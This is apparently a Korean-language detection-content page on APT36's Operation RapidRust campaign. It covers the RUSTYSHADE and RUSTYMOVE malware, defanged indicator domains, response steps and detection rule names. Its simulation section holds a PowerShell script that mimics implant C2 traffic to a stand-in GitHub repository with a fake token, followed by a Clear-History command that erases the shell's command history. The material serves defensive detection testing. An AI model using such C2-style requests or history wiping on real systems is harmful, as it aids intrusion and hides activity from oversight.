APT36, RUSTYSHADE 및 RUSTYMOVE로 Operation RapidRust 착수
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
파키스탄-연계 위협 그룹 APT36은 정부 및 방산 조직을 대상으로 한 Operation RapidRust 캠페인을 수행하고 있습니다. 이 그룹은 RUSTYSHADE 백도어와 RUSTYMOVE 전파 도구를 포함한 신규 Rust 기반 멀웨어를 도입했습니다. APT36은 또한 PSNATCH와 BASHNATCH라는 파일 탈취 스크립트를 사용하여 개인 GitHub 저장소를 통해 데이터를 수집하고 유출합니다.
조사
Zscaler ThreatLabz는 2026년 8월 APT36에 의해 사용된 새로운 멀웨어 패밀리와 포스트 컴프로마이즈 도구를 확인했습니다. 조사는 RUSTYSHADE가 GitHub REST API를 명령 및 제어에 악용하고 페이로드 스테이징을 위해 오탈자 도메인을 사용하는 것을 밝혀냈습니다. 연구원들은 또한 측면 이동 시도와 에어갭 환경에 도달하기 위해 이동식 매체를 통해 전파되는 RUSTYMOVE를 관찰했습니다.
완화
조직은 무단 GitHub API 사용 및 Backblaze와 같은 클라우드 저장소 서비스로의 비정상적인 아웃바운드 연결을 모니터링해야 합니다. 이동식 매체에 대한 엄격한 통제를 구현해야 하며, 합법적인 업데이트로 위장한 의심스러운 예약 작업을 감지해야 합니다. 엔드포인트 모니터링은 무단 PowerShell 또는 Bash 스크립트 실행 및 비정상적인 파일 유출 활동을 식별해야 합니다.
대응
악성 활동이 감지되면 영향을 받은 Windows 및 Linux 엔드포인트를 즉시 격리하여 측면 이동 및 데이터 유출을 방지해야 합니다. 대응자는 예약 작업을 검사하고 다음과 같은 파일을 검색해야 합니다. DriverInstaller.zip or Automata-20.exe. 네트워크 로그도 theprints[.]org, indiatodays[.]org와 환경에서 출발한 의심스러운 GitHub API 활동에 대한 연결을 검토해야 합니다.
공격 흐름
이 부분은 아직 업데이트 중입니다.
탐지
숨겨진 PowerShell 명령줄을 통한 실행 가능성 (cmdline을 통해)
Powershell을 통한 다운로드 또는 업로드 (cmdline을 통해)
원격 시스템 탐색 또는 연결 확인 가능성 (cmdline을 통해)
네트워크 공유 탐색 가능성 (cmdline을 통해)
관리 계정 또는 그룹 열거 가능성 (cmdline을 통해)
시스템 네트워크 구성 탐색 가능성 (cmdline을 통해)
공용 사용자 프로필에서의 의심스러운 실행 (프로세스 생성을 통해)
예약 작업 생성 가능성 (powershell을 통해)
IP 조회 도메인 통신 시도 가능성 (dns를 통해)
IOC (HashSha256)를 감지하기 위한: Operation RapidRust: APT36이 RUSTYSHADE, RUSTYMOVE, PSNATCH, BASHNATCH를 배포
IOC (HashSha1)를 감지하기 위한: Operation RapidRust: APT36이 RUSTYSHADE, RUSTYMOVE, PSNATCH, BASHNATCH를 배포
IOC (HashMd5)를 감지하기 위한: Operation RapidRust: APT36이 RUSTYSHADE, RUSTYMOVE, PSNATCH, BASHNATCH를 배포
RUSTYSHADE가 GitHub API를 통한 C2 통신 [Windows 네트워크 연결]
RUSTYSHADE 및 RUSTYMOVE 활동 탐지 via PowerShell [Windows Powershell]
시뮬레이션 실행
-
공격 내러티브 및 명령: 공격자는 윈도우 워크스테이션에 RUSTYSHADE와 유사한 임플란트를 성공적으로 배포했습니다. 추가 명령을 받기 위해 임플란트는 GitHub에 호스트된 C2와 통신해야 합니다. 임플란트는 페이로드를 가져오기 위해 특정 저장소에 도달하려고 합니다. 익명 API 접근을 차단할 수 있는 기본 경계 필터를 우회하기 위해, 임플란트는
Authorization: token <TOKEN>헤더에 하드코딩된 개인 접근 토큰 (PAT)을 전송합니다. 이 작업은 저장소 메타데이터를 가져오는 합법적인 개발자 도구처럼 보이도록 의도되었지만 저장소 URL과토큰헤더에서의 접두사의 특정 조합은 탐지 규칙을 트리거합니다. -
회귀 테스트 스크립트:
# RUSTYSHADE C2 통신을 모방하는 시뮬레이션 스크립트 # 이 스크립트는 탐지 논리에 일치하는 요청을 생성합니다: # 1. URL에는 'api.github.com/repos/'가 포함됩니다. # 2. 헤더에는 'Authorization: token'이 포함됩니다. $targetUrl = "https://api.github.com/repos/adversary-c2/malicious-repo/contents/config.json" $fakeToken = "ghp_sImUlAtEdToKeN1234567890AbCdEfGhIjKlMnOpQrStUvWxYz" # 규칙에 필요한 'token' 문자열과 정확히 일치하는 헤더를 구성합니다 $headers = @{ "Authorization" = "token $fakeToken" "User-Agent" = "RUSTYSHADE-Implant/1.0" } Write-Host "$targetUrl로 C2 통신을 시도합니다..." try { # URL이 가짜이고 404를 반환하겠지만, 프록시는 여전히 요청 시도를 기록할 것입니다. Invoke-WebRequest -Uri $targetUrl -Headers $headers -Method Get -ErrorAction SilentlyContinue Write-Host "시뮬레이션 요청이 성공적으로 전송되었습니다." } catch { Write-Host "요청이 전송되었습니다 (가짜 URL로 인한 예상 오류, 그러나 프록시 로그는 시도를 캡처해야 합니다)." } -
정리 명령:
# 시스템에 지속적인 변경은 없었으나, # 명령 기록을 청결하게 유지하기 위해 지웁니다. Clear-History